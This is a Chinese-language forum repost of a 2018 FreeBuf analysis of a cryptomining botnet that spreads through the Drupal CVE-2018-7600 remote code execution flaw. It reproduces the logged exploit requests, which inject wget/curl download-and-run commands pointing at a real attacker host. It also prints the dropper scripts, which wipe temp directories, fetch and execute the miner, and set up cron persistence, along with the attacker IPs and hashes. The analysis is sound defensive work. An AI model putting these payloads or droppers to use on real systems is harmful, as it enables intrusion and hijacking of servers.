搜索

[13428] 2018-11-17_利用Drupal漏洞进行传播的挖矿僵尸病毒分析

文档创建者：s7ckTeam
浏览次数：32
最后更新：2025-01-18
2018-11-17_利用Drupal漏洞进行传播的挖矿僵尸病毒分析 利 用 D r u p a l 漏 洞 进 行 传 播 的 挖 矿 僵 尸 病 毒 分 析 c g f 9 9   F r e e B u f   2 0 1 8 - 1 1 - 1 7 一 、 事 件 背 景 一 、 事 件 背 景 在 对 服 务 器 进 行 例 行 性 检 查 的 时 候 ， 在 一 台 在 对 服 务 器 进 行 例 行 性 检 查 的 时 候 ， 在 一 台 n g i x 服 务 器 的 日 志 文 件 服 务 器 的 日 志 文 件 a c c e s s . l o g 里 面 发 现 了 一 些 奇 怪 的 访 问 记 录 ， 如 下 表 所 示 。 备 注 ， 这 台 里 面 发 现 了 一 些 奇 怪 的 访 问 记 录 ， 如 下 表 所 示 。 备 注 ， 这 台 N g i x   服 务 器 安 装 服 务 器 安 装 w i n d o w s 1 0 企 业 版 操 作 系 企 业 版 操 作 系 统 ， 统 ， w e b 服 务 器 是 服 务 器 是 n g i n x / 1 . 1 2 . 2 。 。 来 源 来 源 I P 时 间 时 间 数 据 数 据 8 5 . 2 4 8 . 2 2 7 . 1 6 3 1 6 / O c t / 2 0 1 8 : 1 3 : 1 4 : 4 1 + 0 8 0 0 “ P O S T   / ? q = u s e r % 2 F p a s s w o r d & n a m e % 5 B % 2 3 p o s t _ r e n d e r % 5 D % 5 B % 5 D = p a s s t h r u & n a m e % 5 B % 2 3 m a r k u p % 5 D = n o h u p + w g e t + - O + - + h t t p % 3 A % 2 F % 2 F 1 6 4 . 1 3 2 . 1 5 9 . 5 6 % 2 F d r u p a l % 2 F u p . s h % 7 C s h + 2 % 3 E % 2 6 1 & n a m e % 5 B % 2 3 t y p e % 5 D = m a r k u p   H T T P / 1 . 1 ”   3 0 1   1 8 5   “ - “   “ M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 5 1 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 1 . 0 ” 8 5 . 2 4 8 . 2 2 7 . 1 6 3 1 6 / O c t / 2 0 1 8 : 1 3 : 1 4 : 4 1 + 0 8 0 0 “ G E T   / ? q = u s e r % 2 F p a s s w o r d & n a m e % 5 B % 2 3 p o s t _ r e n d e r % 5 D % 5 B % 5 D = p a s s t h r u & n a m e % 5 B % 2 3 m a r k u p % 5 D = n o h u p + w g e t + - O + - + h t t p % 3 A % 2 F % 2 F 1 6 4 . 1 3 2 . 1 5 9 . 5 6 % 2 F d r u p a l % 2 F u p . s h % 7 C s h + 2 % 3 E % 2 6 1 & n a m e % 5 B % 2 3 t y p e % 5 D = m a r k u p   H T T P / 1 . 1 ”   2 0 0   8 5 1 7   “ - “   “ M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 5 1 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 1 . 0 ” 8 5 . 2 4 8 . 2 2 7 . 1 6 3 1 6 / O c t / 2 0 1 8 : 1 3 : 1 4 : 4 3 + 0 8 0 0 “ P O S T   / ? q = u s e r % 2 F p a s s w o r d & n a m e % 5 B % 2 3 p o s t _ r e n d e r % 5 D % 5 B % 5 D = p a s s t h r u & n a m e % 5 B % 2 3 m a r k u p % 5 D = n o h u p + c u r l + h t t p % 3 A % 2 F % 2 F 1 6 4 . 1 3 2 . 1 5 9 . 5 6 % 2 F d r u p a l % 2 F u p . s h % 7 C s h + 2 % 3 E % 2 6 1 & n a m e % 5 B % 2 3 t y p e % 5 D = m a r k u p H T T P / 1 . 1 ”   3 0 1   1 8 5   “ - “   “ M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 3 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 5 6 . 0 . 2 9 2 4 . 8 7   S a f a r i / 5 3 7 . 3 6 ” 8 5 . 2 4 8 . 2 2 7 . 1 6 5 1 6 / O c t / 2 0 1 8 : 1 3 : 1 4 : 4 7 + 0 8 0 0 ] “ G E T   / ? q = u s e r % 2 F p a s s w o r d & n a m e % 5 B % 2 3 p o s t _ r e n d e r % 5 D % 5 B % 5 D = p a s s t h r u & n a m e % 5 B % 2 3 m a r k u p % 5 D = n o h u p + c u r l + h t t p % 3 A % 2 F % 2 F 1 6 4 . 1 3 2 . 1 5 9 . 5 6 % 2 F d r u p a l % 2 F u p . s h % 7 C s h + 2 % 3 E % 2 6 1 & n a m e % 5 B % 2 3 t y p e % 5 D = m a r k u p H T T P / 1 . 1 ”   2 0 0   8 5 1 7   “ - “   “ M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 3 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 5 6 . 0 . 2 9 2 4 . 8 7   S a f a r i / 5 3 7 . 3 6 ” 经 过 整 理 ， 发 现 上 述 w e b 访 问 的 命 令 其 实 就 是 下 列 两 行 ， 分 别 用 G E T 和 P O S T 向 目 标 网 站 进 行 请 求 访 问 。 h t t p s : / / m y w e b s i t e / ? q = u s e r / p a s s w o r d & n a m e [ # p o s t _ r e n d e r ] [ ] = p a s s t h r u & n a m e [ # m a r k u p ] = n o h u p   w g e t   – O   -   h t t p : / / 1 6 4 . 1 3 2 . 1 5 9 . 5 6 / d r u p a l / u p . s h s h   2 > & 1 & n a m e [ # t y p e ] = m a r k u p h t t p s : / / m y w e b s i t e / ? q = u s e r / p a s s w o r d & n a m e [ # p o s t _ r e n d e r ] [ ] = p a s s t h r u & n a m e [ # m a r k u p ] = n o h u p   c u r l   h t t p : / / 1 6 4 . 1 3 2 . 1 5 9 . 5 6 / d r u p a l / u p . s h s h   2 > & 1 & n a m e [ # t y p e ] = m a r k u p 乍 一 看 ， 就 是 向 服 务 器 发 送 请 求 ， 利 用 w e b 服 务 器 上 的 一 个 漏 洞 ， 并 要 求 服 务 器 执 行 w g e t 和 c u r l 命 令 去 下 载 并 执 行 u p . s h 脚 本 。 可 是 我 的 服 务 器 明 明 是 w i n d o w s 操 作 系 统 ， 就 算 有 漏 洞 触 发 了 也 不 会 执 行 该 命 令 。 因 此 ， 本 次 w e b 攻 击 请 求 应 该 不 是 人 工 发 出 的 （ 应 该 不 会 有 这 么 蠢 的 黑 客 吧 ， 也 可 能 看 w e b 服 务 器 是 N g i x ， 就 默 认 为 类 l i n u x 系 统 ） 。 此 外 ， 通 过 网 络 搜 索 关 键 字 ， 发 现 这 段 代 码 是 D r u p a l 远 程 代 码 执 行 漏 洞 （ C V E - 2 0 1 8 - 7 6 0 0 ） 的 利 用 方 式 。 今 年 上 半 年 ， D r u p a l 漏 洞 非 常 火 爆 ， 使 得 一 拨 又 一 拨 的 僵 尸 网 络 高 潮 迭 起 。 由 此 可 见 ， 本 次 的 w e b 请 求 访 问 应 该 是 僵 尸 病 毒 在 自 动 化 的 扫 描 ， 利 用 D r u p a l 漏 洞 进 行 攻 击 传 播 扩 散 。 可 是 ， 这 些 病 毒 作 者 为 什 么 就 不 能 稍 微 花 点 功 夫 ， 先 对 目 标 网 站 软 件 环 境 进 行 判 断 ， 然 后 再 实 施 下 一 步 的 实 质 攻 击 步 骤 呢 ？ 尽 管 这 次 攻 击 没 有 对 本 地 服 务 器 产 生 任 何 危 害 。 但 是 ， 既 然 不 请 自 来 ， 那 就 花 点 功 夫 研 究 一 下 吧 。 1 . 下 载 脚 本 下 载 脚 本 直 接 访 问 h t t p : / / 1 6 4 . 1 3 2 . 1 5 9 . 5 6 / d r u p a l / u p . s h 下 载 u p . s h ， 发 现 其 内 容 如 下 ： 再 次 下 载 b u p s . s h 和 b u p s . j p g 文 件 ， 其 内 容 是 一 样 的 ， 具 体 内 容 如 下 ： 上 面 脚 本 很 简 单 ， 就 是 下 载 恶 意 软 件 并 运 行 的 过 程 。 脚 本 首 先 判 断 是 否 存 在 名 叫 i d 0 和 i d 1 的 进 程 （ 如 果 存 在 说 明 目 标 系 统 已 被 感 染 ， 恶 意 软 件 已 运 行 中 ） 。 接 着 判 断 / v a r / t m p 目 录 是 否 存 在 并 可 执 行 可 写 ， 如 能 是 ， 则 把 恶 意 软 件 下 载 放 在 该 目 录 下 ， 否 则 就 放 在 / t m p / 目 录 下 。 木 马 下 载 路 径 是 h t t p : / / 1 6 4 . 1 3 2 . 1 5 9 . 5 6 / d r u p a l / 2 / o o o ， 存 放 在 本 地 的 名 字 是 i d 1 ， 也 就 是 ” a t n d ” 。 此 外 ， i d 0 参 数 只 是 简 单 调 用 了 一 下 ， 说 明 此 轮 感 染 操 作 应 该 不 是 第 一 波 ， 在 此 前 的 病 毒 传 播 阶 段 ， 攻 击 者 下 载 恶 意 软 件 后 本 地 保 存 的 文 件 名 是 i d 0 ， 也 就 是 ” [ [ ^ $ I $ ^ ] ] ” 。 手 动 访 问 下 载 o o o ， 其 属 性 如 下 表 所 示 。 属 性 属 性 值 值 大 小 2 1 1 7 6 M D 5 7 f d c 3 1 d 7 b 9 f a f d 2 f b b b 4 d a 2 2 b 3 c f 5 6 a 2 S H A 1 4 e 8 b d c a 8 d 9 a 2 e e c 2 3 f 1 7 2 0 6 a f 6 e 9 f 7 0 d a a d 2 9 a 2 5 2 . 构 建 环 境 构 建 环 境 本 地 环 境 是 U b u n t u 1 6 . 0 4 虚 拟 机 。 把 o o o 文 件 拷 贝 到 虚 拟 机 下 / v a r / t m p / a t n d ， 执 行 后 ， 发 现 u b u n t u 系 统 退 出 登 录 ， 重 新 输 入 密 码 ， 一 闪 又 回 到 登 录 界 面 。 晕 。 通 过 w i r e s h a r k 抓 包 ， 发 现 测 试 环 境 和 8 0 . 2 4 0 . 2 6 . 5 2 以 及 1 6 4 . 1 3 2 . 1 5 9 . 5 6 两 个 I P 发 生 如 下 的 网 络 连 接 。 1 . 首 先 访 问 下 载 h t t p : / / 1 6 4 . 1 3 2 . 1 5 9 . 5 6 / d r u p a l / l u . s h 文 件 ， 其 内 容 如 下 。 l u . s h 执 行 后 会 区 访 问 下 载 b u p s . s h 和 b u p s . j p g ， 这 两 个 文 件 的 内 容 上 一 段 已 经 介 绍 。 2 . 下 载 h t t p : / / 1 6 4 . 1 3 2 . 1 5 9 . 5 6 / d r u p a l / b u p s . s h 3 . 下 载 h t t p : / /   1 6 4 . 1 3 2 . 1 5 9 . 5 6 / d r u p a l / 2 / o o o 4 . 再 次 下 载 h t t p : / /   1 6 4 . 1 3 2 . 1 5 9 . 5 6 / d r u p a l / 2 / o o o 5 . 下 载 h t t p : / /   8 0 . 2 4 0 . 2 6 . 5 2 / d / s s s 6 . 下 载 h t t p : / /   8 0 . 2 4 0 . 2 6 . 5 2 / d / l m m m l # ! / b i n / s h c r o n t a b - r ; i d 0 = " [ [ ^ $ I $ ^ ] ] " i d 1 = " a t n d " p s   - f e | g r e p   - v   g r e p   |   g r e p   - q   " ` e c h o   $ i d 0 ` | ` e c h o   $ i d 1 ` " i f   [   $ ? - n e   0   ] ; t h e n w g e t   - O -   h t t p : / / 1 6 4 . 1 3 2 . 1 5 9 . 5 6 / d r u p a l / b u p s . s h | s h   ;   c u r l   h t t p : / / 1 6 4 . 1 3 2 . 1 5 9 . 5 6 / d r u p a l / b u p s . j p g | s h   ; e l s e e c h o " . . . . . . . " f i   # ! / b i n / s h i d 0 = " [ [ ^ $ I $ ^ ] ] " i d 1 = " a t n d " i d 2 = " o o o " p s   - f e   | g r e p   - v   g r e p   |   g r e p   - q   " ` e c h o $ i d 0 ` | ` e c h o   $ i d 1 ` " i f   [   $ ?   - n e   0   ] ; t h e n i f   [   - x   " / v a r / t m p / "   ]   & & [   - w   " / v a r / t m p / "   ] ; t h e n r m   - r f   / v a r / t m p / . * r m   - r f   / v a r / t m p / * w g e t   - O   / v a r / t m p / ` e c h o   $ i d 1 ` h t t p : / / 1 6 4 . 1 3 2 . 1 5 9 . 5 6 / d r u p a l / 2 / ` e c h o   $ i d 2 ` c u r l   - o   / v a r / t m p / ` e c h o   $ i d 1 ` h t t p : / / 1 6 4 . 1 3 2 . 1 5 9 . 5 6 / d r u p a l / 2 / ` e c h o   $ i d 2 ` c h m o d   + x   / v a r / t m p / ` e c h o   $ i d 1 ` c h m o d   7 7 7   / v a r / t m p / a t n d / v a r / t m p / ` e c h o   $ i d 1 `   & e l s e r m   - r f   / t m p / . * r m   - r f   / t m p / * w g e t   - O   / t m p / ` e c h o   $ i d 1 ` h t t p : / / 1 6 4 . 1 3 2 . 1 5 9 . 5 6 / d r u p a l / 2 / ` e c h o   $ i d 2 ` c u r l   - o   / t m p / ` e c h o   $ i d 1 ` h t t p : / / 1 6 4 . 1 3 2 . 1 5 9 . 5 6 / d r u p a l / 2 / ` e c h o   $ i d 2 ` c h m o d   + x   / t m p / ` e c h o   $ i d 1 ` c h m o d   7 7 7   / t m p / a t n d / t m p / ` e c h o   $ i d 1 `   & f i e l s e e c h o   " R u n n i n g . . . . . " f i
其 中 ， 步 骤 1 - 4 下 载 的 文 件 已 经 清 晰 ， 手 动 下 载 步 骤 5 和 步 骤 6 的 文 件 ， 下 载 后 的 文 件 信 息 如 下 表 所 示 。 文 件 名 文 件 名 大 小 大 小 M D 5 S H A 1 s s s 1 6 3 6 0 8 a 8 d d c e 6 4 e 5 d d 6 f 5 8 6 4 d a 1 8 d 7 8 9 9 3 5 1 c e d b 7 a a c 7 8 8 c b 2 5 a 2 f 3 6 b d 7 1 2 4 4 8 4 3 a 9 2 8 9 a 9 7 d 4 e l m m m l 7 1 9 1 4 4 2 e 4 8 3 f e 7 7 3 6 6 3 4 1 3 4 b 1 b 0 d 8 2 8 2 8 f 2 e 5 3 5 8 3 f 5 a 6 6 1 1 7 f 7 6 a 9 d e a 3 8 9 0 7 0 e d 0 c 8 4 7 0 e 3 3 0 e 4 7 3 . 相 关 相 关 I P 初 步 分 析 初 步 分 析 1 . 攻 击 者 来 源 I P 从 N g i x 日 志 提 取 的 攻 击 者 I P 为 8 5 . 2 4 8 . 2 2 7 . 1 6 3 和 8 5 . 2 4 8 . 2 2 7 . 1 6 5 。 通 过 i p 1 3 8 查 询 ， 结 果 如 下 ： 开 放 8 0 和 4 4 3 端 口 ， 直 接 h t t p 方 式 访 问 ， 显 示 的 页 面 如 下 图 所 示 。 咦 ， 竟 然 是 T o r 节 点 ， 上 面 显 示 了 服 务 器 的 性 能 。 利 用 h t t p s 访 问 ， 则 没 有 显 示 页 面 。 发 现 域 名 是 E n n . l u 。 在 本 地 p i n g e n n . l u 解 析 结 果 如 下 ： 正 在 P i n g   e n n . l u   [ 1 7 6 . 1 0 . 2 5 0 . 1 0 5 ]   具 有   3 2   字 节 的 数 据 : 来 自 1 7 6 . 1 0 . 2 5 0 . 1 0 5   的 回 复 :   字 节 = 3 2   时 间 = 3 1 0 m s   T T L = 4 7 来 自 1 7 6 . 1 0 . 2 5 0 . 1 0 5   的 回 复 :   字 节 = 3 2   时 间 = 3 0 8 m s   T T L = 4 7 来 自 1 7 6 . 1 0 . 2 5 0 . 1 0 5   的 回 复 :   字 节 = 3 2   时 间 = 3 0 9 m s   T T L = 4 7 来 自   1 7 6 . 1 0 . 2 5 0 . 1 0 5   的 回 复 :   字 节 = 3 2   时 间 = 3 0 8 m s   T T L = 4 7 I P 地 址 不 一 样 ， 而 且 直 接 访 问 e n n . l u 网 站 都 是 直 接 跳 转 到 h t t p s 访 问 方 式 ， 其 首 页 界 面 如 下 图 所 示 。 看 来 很 有 可 能 是 假 冒 页 面 。 直 接 在 h t t p : / / 8 5 . 2 4 8 . 2 2 7 . 1 6 3 查 看 其 源 代 码 ， 果 不 其 然 ， 该 页 面 只 是 简 单 的 链 接 到 e n n . l u 网 站 。 此 外 ， 除 了 日 志 中 发 现 的 8 5 . 2 4 8 . 2 2 7 . 1 6 3 和 8 5 . 2 4 8 . 2 2 7 . 1 6 5 地 址 外 ， 还 发 现 8 5 . 2 4 8 . 2 2 7 . 1 6 4 地 址 与 它 们 功 能 相 同 ， 三 者 网 站 页 面 都 是 假 冒 的 E n n . l u 域 名 ， 也 就 是 说 ， 攻 击 者 至 少 拥 有 或 控 制 这 三 个 I P 地 址 的 主 机 。 2 . h t t p 下 载 地 址 分 析 所 有 的 s h 脚 本 都 是 通 过 访 问 1 6 4 . 1 3 2 . 1 5 9 . 5 6 下 载 的 。 I P 查 询 结 果 如 下 。 直 接 用 浏 览 器 进 行 h t t p 访 问 ， 结 果 如 下 所 示 。 3 . o o o 通 联 地 址 o o o 程 序 运 行 后 会 访 问 下 载 8 0 . 2 4 0 . 2 6 . 5 2 地 址 用 于 下 载 s s s 以 及 l m m m l 程 序 。 对 地 址 8 0 . 2 4 0 . 2 6 . 5 2 的 查 询 结 果 如 下 。 _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _   您 查 询 的 I P : 1 6 4 . 1 3 2 . 1 5 9 . 5 6 • 本 站 数 据 ： 法 国   • 参 考 数 据 1 ： 法 国 法 国 o v h . c o m • 参 考 数 据 2 ： 意 大 利 • 兼 容 I P v 6 地 址 ： : : A 4 8 4 : 9 F 3 8 • 映 射 I P v 6 地 址 ： : : F F F F : A 4 8 4 : 9 F 3 8 _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ N o t   F o u n d T h e   r e q u e s t e d   U R L   /   w a s   n o t   f o u n d   o n   t h i s   s e r v e r . _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ A p a c h e / 2 . 4 . 1 8   ( U b u n t u )   S e r v e r   a t   1 6 4 . 1 3 2 . 1 5 9 . 5 6   P o r t   8 0 _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _         您 查 询 的 I P : 8 0 . 2 4 0 . 2 6 . 5 2 本 站 数 据 ： 希 腊   参 考 数 据 1 ： 希 腊 希 腊   参 考 数 据 2 ： 希 腊 兼 容 I P v 6 地 址 ： : : 5 0 F 0 : 1 A 3 4 映 射 I P v 6 地 址 ： : : F F F F : 5 0 F 0 : 1 A 3 4 _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
直 接 浏 览 器 访 问 后 的 结 果 如 下 ： 二 、 程 序 分 析 二 、 程 序 分 析 1 . o o o 程 序 程 序 1 . 循 环 k i l l 进 程 读 取 / p r o c / 下 的 进 程 列 表 ， 如 果 进 程 P I D < = 1 0 0 0 则 不 处 理 ， 否 则 杀 掉 原 来 设 定 的 病 毒 进 程 名 字 ， 比 如 a t n d 、 [ ^ $ I $ ^ ] 。 代 码 如 下 图 所 示 ： 2 . 判 读 目 录 是 否 存 在 可 写 ， 下 载 相 应 文 件 到 本 地 并 执 行 ： 3 . 网 络 下 载 的 函 数 ： 4 . 定 时 任 务 ， 如 果 有 w g e t 用 w g e t 下 载 命 令 ， 否 则 用 c u r l 下 载 命 令 。 把 下 载 命 令 用 b a s e 6 4 编 码 后 ， 生 成 定 时 任 务 命 令 。 5 . w h i l e 循 环 操 作 ， 杀 进 程 ， 下 载 执 行 、 s l e e p ： 2 . l m m m l 程 序 程 序 拷 贝 l m m m l 到 桌 面 下 ， 直 接 运 行 后 ， 发 现 l m m m l 其 实 是 一 个 挖 矿 程 序 。 1 . 进 程 改 名 L m m m l 运 行 后 的 进 程 改 名 为 [ ^ $ I $ ^ ] 。 4 0 3   F o r b i d d e n _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ n g i n x / 1 . 1 0 . 3   ( U b u n t u )
2 . 矿 池 分 析 它 连 接 的 矿 池 是 ： 9 5 . 1 7 9 . 1 5 3 . 2 2 9 : 7 7 7 7 。 对 其 利 用 I D A 反 汇 编 可 以 看 到 ， 其 连 接 的 矿 池 地 址 有 两 个 ， 分 别 是 9 5 . 1 7 9 . 1 5 3 . 2 2 9 的 7 7 7 7 和 8 0 端 口 。 如 下 图 所 示 ： 可 是 ， 网 络 抓 包 发 现 它 登 录 的 挖 矿 帐 号 和 密 码 竟 然 都 是 设 置 成 x ， 并 没 有 发 送 实 际 的 挖 矿 帐 号 ， 很 奇 怪 。 浏 览 器 直 接 访 问 9 5 . 1 7 9 . 1 5 3 . 2 2 9 的 8 0 端 口 和 7 7 7 7 登 录 ， 发 现 返 回 字 符 串 ” M i n i n g   P r o x y   O n l i n e ” 。 看 来 该 台 服 务 器 是 攻 击 者 自 架 设 的 一 个 挖 矿 代 理 服 务 器 。 同 时 ， 在 对 l m m m l 静 态 反 汇 编 分 析 的 时 候 ， 发 现 与 此 前 发 现 的 挖 矿 代 码 不 同 ， 作 者 应 该 是 自 己 重 新 修 改 编 译 了 源 代 码 ， 变 化 非 常 大 ， 此 前 常 见 的 静 态 字 符 串 都 做 了 处 理 。 结 合 挖 矿 的 帐 号 设 置 成 x ， 是 否 有 可 能 是 作 者 自 己 修 改 编 译 了 m i n i n g - p r o x y 的 代 码 ， 把 所 有 的 被 感 染 机 器 发 送 过 来 的 账 号 x 都 在 p r o x y 端 再 进 行 重 新 设 置 ， 然 后 发 送 给 实 际 的 矿 池 ， 从 而 形 成 统 一 挖 坑 又 保 护 自 身 挖 坑 账 号 的 目 的 ， 不 让 分 析 的 人 员 知 道 该 账 户 的 具 体 情 况 （ 比 如 实 际 收 益 情 况 等 ） 。 三 、 结 束 语 三 、 结 束 语 通 过 上 述 简 单 分 析 ， 大 致 可 以 得 出 下 列 结 论 ： 1 . 该 次 w e b 服 务 器 的 网 络 异 常 请 求 访 问 应 该 是 一 次 来 自 僵 尸 病 毒 的 自 动 攻 击 行 为 ； 2 . 该 僵 尸 病 毒 利 用 D r u p a l 漏 洞 进 行 传 播 ； 3 . 该 僵 尸 病 毒 已 经 实 施 了 多 波 次 的 感 染 行 动 ； 4 . 攻 击 者 主 要 目 的 用 于 挖 矿 ， 可 根 据 需 要 随 时 更 换 恶 意 代 码 功 能 文 件 。 至 于 目 前 挖 矿 的 账 号 用 x 是 否 如 分 析 的 一 样 有 待 商 榷 。 5 . 攻 击 者 利 用 的 资 源 比 较 分 散 ， 比 如 8 5 . 2 4 8 . 2 2 7 . 1 6 3 / 8 5 . 2 4 8 . 2 2 7 . 1 6 4 / 8 5 . 2 4 8 . 2 2 7 . 1 6 5 三 个 I P 地 址 用 于 伪 造 网 站 与 实 施 D r u p a l 漏 洞 攻 击 ， 1 6 4 . 1 3 2 . 1 5 9 . 5 6 用 于 下 载 攻 击 脚 本 文 件 ,   8 0 . 2 4 0 . 2 6 . 5 2 用 于 病 毒 实 体 文 件 的 下 载 。 * 本 文 原 创 作 者 ： c g f 9 9 ， 本 文 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文 { " i d " : 1 , " j s o n r p c " : " 2 . 0 " , " m e t h o d " : " l o g i n " , " p a r a m s " : { " l o g i n " : " x " , " p a s s " : " x " , " a g e n t " : " h t t p " , " a l g o " : [ " c n " , " c n / 2 " , " c n / 1 " , " c n / 0 " , " c n / x t l " , " c n / m s r " , " c n / x a o " , " c n / r t o " ] } }

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理